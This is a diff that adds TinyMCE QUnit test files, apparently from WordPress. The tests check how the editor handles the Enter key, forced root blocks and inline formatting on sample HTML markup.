+});
+
+test('Enter at beginning of first DT inside DL', function() {
+	editor.getBody().innerHTML = '<dl><dt>a</dt></dl>';
+	Utils.setSelection('dt', 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<dl><dt>\u00a0</dt><dt>a</dt></dl>');
+	equal(editor.selection.getNode().nodeName, 'DT');
+});
+
+test('Enter at beginning of first DD inside DL', function() {
+	editor.getBody().innerHTML = '<dl><dd>a</dd></dl>';
+	Utils.setSelection('dd', 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<dl><dd>\u00a0</dd><dd>a</dd></dl>');
+	equal(editor.selection.getNode().nodeName, 'DD');
+});
+
+test('Enter at beginning of middle DT inside DL', function() {
+	editor.getBody().innerHTML = '<dl><dt>a</dt><dt>b</dt><dt>c</dt></dl>';
+	Utils.setSelection('dt:nth-child(2)', 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<dl><dt>a</dt><dt>\u00a0</dt><dt>b</dt><dt>c</dt></dl>');
+	equal(editor.selection.getNode().nodeName, 'DT');
+});
+
+test('Enter at beginning of middle DD inside DL', function() {
+	editor.getBody().innerHTML = '<dl><dd>a</dd><dd>b</dd><dd>c</dd></dl>';
+	Utils.setSelection('dd:nth-child(2)', 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<dl><dd>a</dd><dd>\u00a0</dd><dd>b</dd><dd>c</dd></dl>');
+	equal(editor.selection.getNode().nodeName, 'DD');
+});
+
+test('Enter at end of last DT inside DL', function() {
+	editor.getBody().innerHTML = '<dl><dt>a</dt></dl>';
+	Utils.setSelection('dt', 1);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<dl><dt>a</dt><dt>\u00a0</dt></dl>');
+	equal(editor.selection.getNode().nodeName, 'DT');
+});
+
+test('Enter at end of last DD inside DL', function() {
+	editor.getBody().innerHTML = '<dl><dd>a</dd></dl>';
+	Utils.setSelection('dd', 1);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<dl><dd>a</dd><dd>\u00a0</dd></dl>');
+	equal(editor.selection.getNode().nodeName, 'DD');
+});
+
+test('Enter at end of last empty DT inside DL', function() {
+	editor.getBody().innerHTML = '<dl><dt>a</dt><dt></dt></dl>';
+	Utils.setSelection('dt:nth-child(2)', 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<dl><dt>a</dt></dl><p>\u00a0</p>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Enter at end of last empty DD inside DL', function() {
+	editor.getBody().innerHTML = '<dl><dd>a</dd><dd></dd></dl>';
+	Utils.setSelection('dd:nth-child(2)', 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<dl><dd>a</dd></dl><p>\u00a0</p>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Enter at beginning of P inside LI', function() {
+	editor.getBody().innerHTML = '<ol><li><p>abcd</p></li></ol>';
+	Utils.setSelection('p', 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<ol><li></li><li><p>abcd</p></li></ol>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Enter inside middle of P inside LI', function() {
+	editor.getBody().innerHTML = '<ol><li><p>abcd</p></li></ol>';
+	Utils.setSelection('p', 2);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<ol><li><p>ab</p></li><li><p>cd</p></li></ol>');
+
+	// Ignore on IE 7, 8 this is a known bug not worth fixing
+	if (!tinymce.Env.ie || tinymce.Env.ie > 8) {
+		equal(editor.selection.getNode().nodeName, 'P');
+	}
+});
+
+test('Enter at end of P inside LI', function() {
+	editor.getBody().innerHTML = '<ol><li><p>abcd</p></li></ol>';
+	Utils.setSelection('p', 4);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<ol><li><p>abcd</p></li><li></li></ol>');
+	equal(editor.selection.getNode().nodeName, 'LI');
+});
+
+
+test('Shift+Enter at beginning of P inside LI', function() {
+	editor.getBody().innerHTML = '<ol><li><p>abcd</p></li></ol>';
+	Utils.setSelection('p', 0);
+	Utils.pressEnter({shiftKey: true});
+	equal(editor.getContent(),'<ol><li><p><br />abcd</p></li></ol>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Shift+Enter inside middle of P inside LI', function() {
+	editor.getBody().innerHTML = '<ol><li><p>abcd</p></li></ol>';
+	Utils.setSelection('p', 2);
+	Utils.pressEnter({shiftKey: true});
+	equal(editor.getContent(),'<ol><li><p>ab<br />cd</p></li></ol>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Shift+Enter at end of P inside LI', function() {
+	editor.getBody().innerHTML = '<ol><li><p>abcd</p></li></ol>';
+	Utils.setSelection('p', 4);
+	Utils.pressEnter({shiftKey: true});
+	equal(editor.getContent(),(tinymce.isIE && tinymce.Env.ie < 11) ? '<ol><li><p>abcd</p></li></ol>': '<ol><li><p>abcd<br /><br /></p></li></ol>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+
+test('Ctrl+Enter at beginning of P inside LI', function() {
+	editor.getBody().innerHTML = '<ol><li><p>abcd</p></li></ol>';
+	Utils.setSelection('p', 0);
+	Utils.pressEnter({ctrlKey: true});
+	equal(editor.getContent(),'<ol><li><p>\u00a0</p><p>abcd</p></li></ol>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Ctrl+Enter inside middle of P inside LI', function() {
+	editor.getBody().innerHTML = '<ol><li><p>abcd</p></li></ol>';
+	Utils.setSelection('p', 2);
+	Utils.pressEnter({ctrlKey: true});
+	equal(editor.getContent(),'<ol><li><p>ab</p><p>cd</p></li></ol>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Ctrl+Enter at end of P inside LI', function() {
+	editor.getBody().innerHTML = '<ol><li><p>abcd</p></li></ol>';
+	Utils.setSelection('p', 4);
+	Utils.pressEnter({ctrlKey: true});
+	equal(editor.getContent(),'<ol><li><p>abcd</p><p>\u00a0</p></li></ol>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+
+test('Enter in the middle of text in P with forced_root_block set to false', function() {
+	editor.settings.forced_root_block = false;
+	editor.getBody().innerHTML = '<p>abc</p>';
+	Utils.setSelection('p', 2);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p>ab<br />c</p>');
+});
+
+test('Enter at the end of text in P with forced_root_block set to false', function() {
+	editor.settings.forced_root_block = false;
+	editor.getBody().innerHTML = '<p>abc</p>';
+	Utils.setSelection('p', 3);
+	Utils.pressEnter();
+	equal(Utils.cleanHtml(editor.getBody().innerHTML), (tinymce.isIE && tinymce.Env.ie < 11) ? '<p>abc<br></p>': '<p>abc<br><br></p>');
+});
+
+test('Enter at the middle of text in BODY with forced_root_block set to false', function() {
+	editor.settings.forced_root_block = false;
+	editor.getBody().innerHTML = 'abcd';
+	Utils.setSelection('body', 2);
+	editor.focus();
+	Utils.pressEnter();
+	equal(Utils.cleanHtml(editor.getBody().innerHTML), 'ab<br>cd');
+});
+
+test('Enter at the beginning of text in BODY with forced_root_block set to false', function() {
+	editor.settings.forced_root_block = false;
+	editor.getBody().innerHTML = 'abcd';
+	Utils.setSelection('body', 0);
+	editor.focus();
+	Utils.pressEnter();
+	equal(Utils.cleanHtml(editor.getBody().innerHTML), '<br>abcd');
+});
+
+test('Enter at the end of text in BODY with forced_root_block set to false', function() {
+	editor.settings.forced_root_block = false;
+	editor.getBody().innerHTML = 'abcd';
+	Utils.setSelection('body', 4);
+	editor.focus();
+	Utils.pressEnter();
+	equal(Utils.cleanHtml(editor.getBody().innerHTML), (tinymce.isIE && tinymce.Env.ie < 11) ? 'abcd<br>': 'abcd<br><br>');
+});
+
+test('Enter in empty P at the end of a blockquote and end_container_on_empty_block: true', function() {
+	editor.settings.end_container_on_empty_block = true;
+	editor.getBody().innerHTML = (tinymce.isIE && tinymce.Env.ie < 11) ? '<blockquote><p>abc</p><p></p></blockquote>': '<blockquote><p>abc</p><p><br></p></blockquote>';
+	Utils.setSelection('p:last', 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<blockquote><p>abc</p></blockquote><p>\u00a0</p>');
+});
+
+test('Enter in empty P at the beginning of a blockquote and end_container_on_empty_block: true', function() {
+	editor.settings.end_container_on_empty_block = true;
+	editor.getBody().innerHTML = (tinymce.isIE && tinymce.Env.ie < 11) ? '<blockquote><p></p><p>abc</p></blockquote>': '<blockquote><p><br></p><p>abc</p></blockquote>';
+	Utils.setSelection('p', 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p>\u00a0</p><blockquote><p>abc</p></blockquote>');
+});
+
+test('Enter in empty P at in the middle of a blockquote and end_container_on_empty_block: true', function() {
+	editor.settings.end_container_on_empty_block = true;
+	editor.getBody().innerHTML = (tinymce.isIE && tinymce.Env.ie < 11) ? '<blockquote><p>abc</p><p></p><p>123</p></blockquote>': '<blockquote><p>abc</p><p><br></p><p>123</p></blockquote>';
+	Utils.setSelection('p:nth-child(2)', 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<blockquote><p>abc</p></blockquote><p>\u00a0</p><blockquote><p>123</p></blockquote>');
+});
+
+test('Enter inside empty P with empty P siblings', function() {
+	// Tests that a workaround for an IE bug is working correctly
+	editor.getBody().innerHTML = '<p></p><p></p><p>X</p>';
+	Utils.setSelection('p', 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p>\u00a0</p><p>\u00a0</p><p>\u00a0</p><p>X</p>');
+});
+
+test('Enter at end of H1 with forced_root_block_attrs', function() {
+	editor.settings.forced_root_block_attrs = {"class": "class1"};
+	editor.getBody().innerHTML = '<h1>a</h1>';
+	Utils.setSelection('h1', 1);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<h1>a</h1><p class="class1">\u00a0</p>');
+});
+
+test('Shift+Enter at beginning of P', function() {
+	editor.getBody().innerHTML = '<p>abc</p>';
+	Utils.setSelection('p', 0);
+	Utils.pressEnter({shiftKey: true});
+	equal(editor.getContent(),'<p><br />abc</p>');
+});
+
+test('Shift+Enter in the middle of P', function() {
+	editor.getBody().innerHTML = '<p>abcd</p>';
+	Utils.setSelection('p', 2);
+	Utils.pressEnter({shiftKey: true});
+	equal(editor.getContent(),'<p>ab<br />cd</p>');
+});
+
+test('Shift+Enter at the end of P', function() {
+	editor.getBody().innerHTML = '<p>abcd</p>';
+	Utils.setSelection('p', 4);
+	Utils.pressEnter({shiftKey: true});
+	equal(editor.getContent(),(tinymce.isIE && tinymce.Env.ie < 11) ? '<p>abcd</p>': '<p>abcd<br /><br /></p>');
+});
+
+test('Shift+Enter in the middle of B with a BR after it', function() {
+	editor.getBody().innerHTML = '<p><b>abcd</b><br></p>';
+	Utils.setSelection('b', 2);
+	Utils.pressEnter({shiftKey: true});
+	equal(editor.getContent(),'<p><b>ab<br />cd</b></p>');
+});
+
+test('Shift+Enter at the end of B with a BR after it', function() {
+	editor.getBody().innerHTML = '<p><b>abcd</b><br></p>';
+	Utils.setSelection('b', 4);
+	Utils.pressEnter({shiftKey: true});
+	equal(editor.getContent(),'<p><b>abcd<br /></b></p>');
+});
+
+test('Enter in beginning of PRE', function() {
+	editor.getBody().innerHTML = '<pre>abc</pre>';
+	Utils.setSelection('pre', 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<pre><br />abc</pre>');
+});
+
+test('Enter in the middle of PRE', function() {
+	editor.getBody().innerHTML = '<pre>abcd</pre>';
+	Utils.setSelection('pre', 2);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<pre>ab<br />cd</pre>');
+});
+
+test('Enter at the end of PRE', function() {
+	editor.getBody().innerHTML = '<pre>abcd</pre>';
+	Utils.setSelection('pre', 4);
+	Utils.pressEnter();
+	equal(editor.getContent(),(tinymce.isIE && tinymce.Env.ie < 11) ? '<pre>abcd</pre>': '<pre>abcd<br /><br /></pre>');
+});
+
+test('Enter in beginning of PRE and br_in_pre: false', function() {
+	editor.settings.br_in_pre = false;
+	editor.getBody().innerHTML = '<pre>abc</pre>';
+	Utils.setSelection('pre', 0);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<pre>\u00a0</pre><pre>abc</pre>');
+});
+
+test('Enter in the middle of PRE and br_in_pre: false', function() {
+	editor.settings.br_in_pre = false;
+	editor.getBody().innerHTML = '<pre>abcd</pre>';
+	Utils.setSelection('pre', 2);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<pre>ab</pre><pre>cd</pre>');
+});
+
+test('Enter at the end of PRE and br_in_pre: false', function() {
+	editor.settings.br_in_pre = false;
+	editor.getBody().innerHTML = '<pre>abcd</pre>';
+	Utils.setSelection('pre', 4);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<pre>abcd</pre><p>\u00a0</p>');
+});
+
+test('Shift+Enter in beginning of PRE', function() {
+	editor.getBody().innerHTML = '<pre>abc</pre>';
+	Utils.setSelection('pre', 0);
+	Utils.pressEnter({shiftKey: true});
+	equal(editor.getContent(),'<pre>\u00a0</pre><pre>abc</pre>');
+});
+
+test('Shift+Enter in the middle of PRE', function() {
+	editor.getBody().innerHTML = '<pre>abcd</pre>';
+	Utils.setSelection('pre', 2);
+	Utils.pressEnter({shiftKey: true});
+	equal(editor.getContent(),'<pre>ab</pre><pre>cd</pre>');
+});
+
+test('Shift+Enter at the end of PRE', function() {
+	editor.getBody().innerHTML = '<pre>abcd</pre>';
+	Utils.setSelection('pre', 4);
+	Utils.pressEnter({shiftKey: true});
+	equal(editor.getContent(),'<pre>abcd</pre><p>\u00a0</p>');
+});
+
+test('Shift+Enter in beginning of P with forced_root_block set to false', function() {
+	editor.settings.forced_root_block = false;
+	editor.getBody().innerHTML = '<p>abc</p>';
+	Utils.setSelection('p', 0);
+	Utils.pressEnter({shiftKey: true});
+	equal(editor.getContent(),'<p>\u00a0</p><p>abc</p>');
+});
+
+test('Shift+Enter in middle of P with forced_root_block set to false', function() {
+	editor.settings.forced_root_block = false;
+	editor.getBody().innerHTML = '<p>abcd</p>';
+	Utils.setSelection('p', 2);
+	Utils.pressEnter({shiftKey: true});
+	equal(editor.getContent(),'<p>ab</p><p>cd</p>');
+});
+
+test('Shift+Enter at the end of P with forced_root_block set to false', function() {
+	editor.settings.forced_root_block = false;
+	editor.getBody().innerHTML = '<p>abc</p>';
+	Utils.setSelection('p', 3);
+	Utils.pressEnter({shiftKey: true});
+	equal(editor.getContent(),'<p>abc</p><p>\u00a0</p>');
+});
+
+test('Shift+Enter in body with forced_root_block set to false', function() {
+	editor.settings.forced_root_block = false;
+	editor.getBody().innerHTML = 'abcd';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().firstChild, 2);
+	rng.setEnd(editor.getBody().firstChild, 2);
+	editor.selection.setRng(rng);
+	Utils.pressEnter({shiftKey: true});
+	equal(editor.getContent(),'<p>ab</p><p>cd</p>');
+});
+
+test('Enter at the end of DIV layer', function() {
+	editor.settings.br_in_pre = false;
+	editor.setContent('<div style="position: absolute; top: 1px; left: 2px;">abcd</div>');
+	Utils.setSelection('div', 4);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<div style="position: absolute; top: 1px; left: 2px;"><p>abcd</p><p>\u00a0</p></div>');
+});
+
+test('Enter in div inside contentEditable:false div', function() {
+	editor.getBody().innerHTML = '<div data-mce-contenteditable="false"><div>abcd</div></div>';
+	Utils.setSelection('div div', 2);
+	Utils.pressEnter();
+	equal(Utils.cleanHtml(editor.getBody().innerHTML), '<div data-mce-contenteditable="false"><div>abcd</div></div>');
+});
+
+test('Enter in div with contentEditable:true inside contentEditable:false div', function() {
+	editor.getBody().innerHTML = '<div data-mce-contenteditable="false"><div data-mce-contenteditable="true">abcd</div></div>';
+	Utils.setSelection('div div', 2);
+	Utils.pressEnter();
+	equal(Utils.cleanHtml(editor.getBody().innerHTML), '<div data-mce-contenteditable="false"><div data-mce-contenteditable="true"><p>ab</p><p>cd</p></div></div>');
+});
+
+test('Enter in span with contentEditable:true inside contentEditable:false div', function() {
+	editor.getBody().innerHTML = '<div data-mce-contenteditable="false"><span data-mce-contenteditable="true">abcd</span></div>';
+	Utils.setSelection('span', 2);
+	Utils.pressEnter();
+	equal(Utils.cleanHtml(editor.getBody().innerHTML), '<div data-mce-contenteditable="false"><span data-mce-contenteditable="true">abcd</span></div>');
+});
+
+test('Shift+Enter in span with contentEditable:true inside contentEditable:false div', function() {
+	editor.getBody().innerHTML = '<div data-mce-contenteditable="false"><span data-mce-contenteditable="true">abcd</span></div>';
+	Utils.setSelection('span', 2);
+	Utils.pressEnter({shiftKey: true});
+	equal(Utils.cleanHtml(editor.getBody().innerHTML), '<div data-mce-contenteditable="false"><span data-mce-contenteditable="true">ab<br>cd</span></div>');
+});
+
+test('Enter in span with contentEditable:true inside contentEditable:false div and forced_root_block: false', function() {
+	editor.settings.forced_root_block = false;
+	editor.getBody().innerHTML = '<div data-mce-contenteditable="false"><span data-mce-contenteditable="true">abcd</span></div>';
+	Utils.setSelection('span', 2);
+	Utils.pressEnter();
+	equal(Utils.cleanHtml(editor.getBody().innerHTML), '<div data-mce-contenteditable="false"><span data-mce-contenteditable="true">ab<br>cd</span></div>');
+});
+
+test('Enter in em within contentEditable:true div inside contentEditable:false div', function() {
+	editor.getBody().innerHTML = '<div data-mce-contenteditable="false"><div data-mce-contenteditable="true"><em>abcd</em></div></div>';
+	Utils.setSelection('em', 2);
+	Utils.pressEnter();
+	equal(Utils.cleanHtml(editor.getBody().innerHTML), '<div data-mce-contenteditable="false"><div data-mce-contenteditable="true"><p><em>ab</em></p><p><em>cd</em></p></div></div>');
+});
+
+test('Enter at end of text in a span inside a P and keep_styles: false', function() {
+	editor.settings.keep_styles = false;
+	editor.getBody().innerHTML = '<p><em><span style="font-size: 13px;">X</span></em></p>';
+	Utils.setSelection('span', 1);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p><em><span style="font-size: 13px;">X</span></em></p><p>\u00a0</p>');
+});
+
+test('Shift+enter in LI when forced_root_block: false', function() {
+	editor.settings.forced_root_block = false;
+	editor.getBody().innerHTML = '<ul><li>text</li></ul>';
+	Utils.setSelection('li', 2);
+	Utils.pressEnter({shiftKey: true});
+	equal(editor.getContent(),'<ul><li>te<br />xt</li></ul>');
+});
+
+test('Enter when forced_root_block: false and force_p_newlines: true', function() {
+	editor.settings.forced_root_block = false;
+	editor.settings.force_p_newlines = true;
+	editor.getBody().innerHTML = 'text';
+	Utils.setSelection('body', 2);
+	Utils.pressEnter();
+	equal(editor.getContent(),'<p>te</p><p>xt</p>');
+});
+
+test('Enter at end of br line', function() {
+	editor.settings.forced_root_block = false;
+	editor.settings.force_p_newlines = true;
+	editor.getBody().innerHTML = '<p>a<br>b</p>';
+	Utils.setSelection('p', 1);
+	Utils.pressEnter();
+	equal(editor.getContent(), '<p>a</p><p><br />b</p>');
+
+	var rng = editor.selection.getRng(true);
+	equal(rng.startContainer.nodeName, 'P');
+	equal(rng.startContainer.childNodes[rng.startOffset].nodeName, 'BR');
+});
+
+// Ignore on IE 7, 8 this is a known bug not worth fixing
+if (!tinymce.Env.ie || tinymce.Env.ie > 8) {
+	test('Enter before BR between DIVs', function() {
+		editor.getBody().innerHTML = '<div>a<span>b</span>c</div><br /><div>d</div>';
+		var rng = editor.dom.createRng();
+		rng.setStartBefore(editor.dom.select('br')[0]);
+		rng.setEndBefore(editor.dom.select('br')[0]);
+		editor.selection.setRng(rng);
+		Utils.pressEnter();
+		equal(editor.getContent(),'<div>a<span>b</span>c</div><p>\u00a0</p><p>\u00a0</p><div>d</div>');
+	});
+}
+
+// Only test these on modern browsers
+if (window.getSelection) {
+	test('Enter behind table element', function() {
+		var rng = editor.dom.createRng();
+
+		editor.getBody().innerHTML = '<table><tbody><td>x</td></tbody></table>';
+		rng.setStartAfter(editor.getBody().lastChild);
+		rng.setEndAfter(editor.getBody().lastChild);
+		editor.selection.setRng(rng);
+
+		Utils.pressEnter();
+		equal(editor.getContent(),'<table><tbody><tr><td>x</td></tr></tbody></table><p>\u00a0</p>');
+	});
+
+	test('Enter before table element', function() {
+		var rng = editor.dom.createRng();
+
+		editor.getBody().innerHTML = '<table><tbody><td>x</td></tbody></table>';
+		rng.setStartBefore(editor.getBody().lastChild);
+		rng.setEndBefore(editor.getBody().lastChild);
+		editor.selection.setRng(rng);
+
+		Utils.pressEnter();
+		equal(editor.getContent(),'<p>\u00a0</p><table><tbody><tr><td>x</td></tr></tbody></table>');
+	});
+
+	test('Enter behind table followed by a p', function() {
+		var rng = editor.dom.createRng();
+
+		editor.getBody().innerHTML = '<table><tbody><td>x</td></tbody></table><p>x</p>';
+		rng.setStartAfter(editor.getBody().firstChild);
+		rng.setEndAfter(editor.getBody().firstChild);
+		editor.selection.setRng(rng);
+
+		Utils.pressEnter();
+		equal(editor.getContent(),'<table><tbody><tr><td>x</td></tr></tbody></table><p>\u00a0</p><p>x</p>');
+	});
+
+	test('Enter before table element preceded by a p', function() {
+		var rng = editor.dom.createRng();
+
+		editor.getBody().innerHTML = '<p>x</p><table><tbody><td>x</td></tbody></table>';
+		rng.setStartBefore(editor.getBody().lastChild);
+		rng.setStartBefore(editor.getBody().lastChild);
+		editor.selection.setRng(rng);
+
+		Utils.pressEnter();
+		equal(editor.getContent(),'<p>x</p><p>\u00a0</p><table><tbody><tr><td>x</td></tr></tbody></table>');
+	});
+}
Index: /tags/4.1.6/tests/qunit/editor/tinymce/ForceBlocks.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/ForceBlocks.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/ForceBlocks.js	(revision 33402)
@@ -0,0 +1,88 @@
+module("tinymce.ForceBlocks", {
+	autostart: false,
+	setupModule: function() {
+		QUnit.stop();
+
+		tinymce.init({
+			selector: "textarea",
+			plugins: wpPlugins,
+			add_unload_trigger: false,
+			indent: false,
+			skin: false,
+			entities: 'raw',
+			valid_styles: {
+				'*': 'color,font-size,font-family,background-color,font-weight,font-style,text-decoration,float,margin,margin-top,margin-right,margin-bottom,margin-left,display'
+			},
+			init_instance_callback: function(ed) {
+				window.editor = ed;
+				QUnit.start();
+			}
+		});
+	},
+
+	teardown: function() {
+		editor.settings.forced_root_block = 'p';
+		editor.settings.forced_root_block_attrs = null;
+	}
+});
+
+test('Wrap single root text node in P', function() {
+	editor.getBody().innerHTML = 'abcd';
+	Utils.setSelection('body', 2);
+	Utils.pressArrowKey();
+	equal(Utils.cleanHtml(editor.getBody().innerHTML), '<p>abcd</p>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Wrap single root text node in P with attrs', function() {
+	editor.settings.forced_root_block_attrs = {"class": "class1"};
+	editor.getBody().innerHTML = 'abcd';
+	Utils.setSelection('body', 2);
+	Utils.pressArrowKey();
+	equal(editor.getContent(), '<p class="class1">abcd</p>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Wrap single root text node in P but not table sibling', function() {
+	editor.getBody().innerHTML = 'abcd<table><tr><td>x</td></tr></table>';
+	Utils.setSelection('body', 2);
+	Utils.pressArrowKey();
+	equal(Utils.cleanHtml(editor.getBody().innerHTML), '<p>abcd</p><table><tbody><tr><td>x</td></tr></tbody></table>');
+	equal(editor.selection.getNode().nodeName, 'P');
+});
+
+test('Wrap root em in P but not table sibling', function() {
+	editor.getBody().innerHTML = '<em>abcd</em><table><tr><td>x</td></tr></table>';
+	Utils.setSelection('em', 2);
+	Utils.pressArrowKey();
+	equal(Utils.cleanHtml(editor.getBody().innerHTML), '<p><em>abcd</em></p><table><tbody><tr><td>x</td></tr></tbody></table>');
+	equal(editor.selection.getNode().nodeName, 'EM');
+});
+
+test('Wrap single root text node in DIV', function() {
+	editor.settings.forced_root_block = 'div';
+	editor.getBody().innerHTML = 'abcd';
+	Utils.setSelection('body', 2);
+	Utils.pressArrowKey();
+	equal(Utils.cleanHtml(editor.getBody().innerHTML), '<div>abcd</div>');
+	equal(editor.selection.getNode().nodeName, 'DIV');
+});
+
+test('Remove empty root text nodes', function() {
+	var body = editor.getBody();
+
+	editor.settings.forced_root_block = 'div';
+	editor.getBody().innerHTML = 'abcd<div>abcd</div>';
+	body.insertBefore(editor.getDoc().createTextNode(''), body.firstChild);
+	body.appendChild(editor.getDoc().createTextNode(''));
+
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.getBody().childNodes[1], 1);
+	rng.setEnd(editor.getBody().childNodes[1], 1);
+	editor.selection.setRng(rng);
+
+	Utils.pressArrowKey();
+	equal(Utils.cleanHtml(body.innerHTML), '<div>abcd</div><div>abcd</div>');
+	equal(editor.selection.getNode().nodeName, 'DIV');
+	equal(body.childNodes.length, 2);
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/Formatter_apply.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/Formatter_apply.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/Formatter_apply.js	(revision 33402)
@@ -0,0 +1,1619 @@
+module("tinymce.Formatter - Apply", {
+	setupModule: function() {
+		document.getElementById('view').innerHTML = '<textarea id="elm1"></textarea><div id="elm2"></div>';
+		QUnit.stop();
+
+		tinymce.init({
+			selector: "#elm1",
+			plugins: wpPlugins,
+			external_plugins: { noneditable: '../../../../tests/qunit/editor/external-plugins/noneditable/plugin.min.js' }, // WP
+			add_unload_trigger: false,
+			skin: false,
+			indent: false,
+			extended_valid_elements: 'b[id|style|title],i[id|style|title],span[id|class|style|title|contenteditable],font[face|size]',
+			forced_root_block: '',
+			convert_fonts_to_spans: false,
+			disable_nodechange: true,
+			entities: 'raw',
+			valid_styles: {
+				'*': 'color,font-size,font-family,background-color,font-weight,font-style,text-decoration,float,margin,margin-top,margin-right,margin-bottom,margin-left,display'
+			},
+			init_instance_callback: function(ed) {
+				window.editor = ed;
+
+				if (inlineEditor) {
+					QUnit.start();
+				}
+			}
+		});
+
+		tinymce.init({
+			selector: "#elm2",
+			plugins: wpPlugins,
+			inline: true,
+			add_unload_trigger: false,
+			skin: false,
+			indent: false,
+			convert_fonts_to_spans: false,
+			disable_nodechange: true,
+			entities: 'raw',
+			valid_styles: {
+				'*': 'color,font-size,font-family,background-color,font-weight,font-style,text-decoration,float,margin,margin-top,margin-right,margin-bottom,margin-left,display'
+			},
+			init_instance_callback: function(ed) {
+				window.inlineEditor = ed;
+
+				if (editor) {
+					QUnit.start();
+				}
+			}
+		});
+	}
+});
+
+function getContent() {
+	return editor.getContent().toLowerCase().replace(/[\r]+/g, '');
+}
+
+test('apply inline to a list', function() {
+	editor.formatter.register('format', {
+		inline: 'b',
+		toggle: false
+	});
+	editor.getBody().innerHTML = '<p>1234</p><ul><li>first element</li><li>second element</li></ul><p>5678</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[1].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><b>1234</b></p><ul><li><b>first element</b></li><li><b>second element</b></li></ul><p><b>5678</b></p>', 'selection of a list');
+});
+
+test('Toggle OFF - Inline element on selected text', function() {
+	// Toggle OFF - Inline element on selected text
+	editor.formatter.register('format', {
+		inline: 'b',
+		toggle: false
+	});
+	editor.getBody().innerHTML = '<p><b>1234</b></p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('b')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('b')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.toggle('format');
+	equal(getContent(), '<p><b>1234</b></p>');
+});
+
+test('Toggle OFF - Inline element on partially selected text', function() {
+	// Toggle OFF - Inline element on partially selected text
+	editor.formatter.register('format', {
+		inline: 'b',
+		toggle: 0
+	});
+	editor.getBody().innerHTML = '<p>1<b>23</b>4</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('b')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('b')[0].firstChild, 2);
+	editor.selection.setRng(rng);
+	editor.formatter.toggle('format');
+	equal(getContent(), '<p>1<b>23</b>4</p>');
+});
+
+test('Toggle OFF - Inline element on partially selected text in start/end elements', function() {
+	// Toggle OFF - Inline element on partially selected text in start/end elements
+	editor.formatter.register('format', {
+		inline: 'b',
+		toggle: false
+	});
+	editor.getBody().innerHTML = '<p>1<b>234</b></p><p><b>123</b>4</p>'; //'<p>1234</p><p>1234</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('b')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('b')[1].firstChild, 3);
+	editor.selection.setRng(rng);
+	editor.formatter.toggle('format');
+	equal(getContent(), '<p>1<b>234</b></p><p><b>123</b>4</p>');
+});
+
+test('Toggle ON - NO inline element on selected text', function() {
+	// Inline element on selected text
+	editor.formatter.register('format', {
+		inline: 'b',
+		toggle: true
+	});
+	editor.getBody().innerHTML = '<p>1234</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('p')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].firstChild, 4);
+	editor.selection.setRng(rng);
+	editor.formatter.apply('format');
+	equal(getContent(), '<p><b>1234</b></p>', 'Inline element on selected text');
+	editor.formatter.toggle('format');
+	equal(getContent(), '<p>1234</p>', 'Toggle ON - NO inline element on selected text');
+});
+
+test('Selection spanning from within format to outside format with toggle off', function() {
+	editor.formatter.register('format', {
+		inline: 'b',
+		toggle: false
+	});
+	editor.getBody().innerHTML = '<p><b>12</b>34</p>';
+	var rng = editor.dom.createRng();
+	rng.setStart(editor.dom.select('b')[0].firstChild, 0);
+	rng.setEnd(editor.dom.select('p')[0].lastChild, 2);
+	editor.selection.setRng(rng);
+	editor.formatter.toggle('format');
+	equal(getContent(), '<p><b>1234</b></p>', 'Extend formating if start of selection is already formatted');
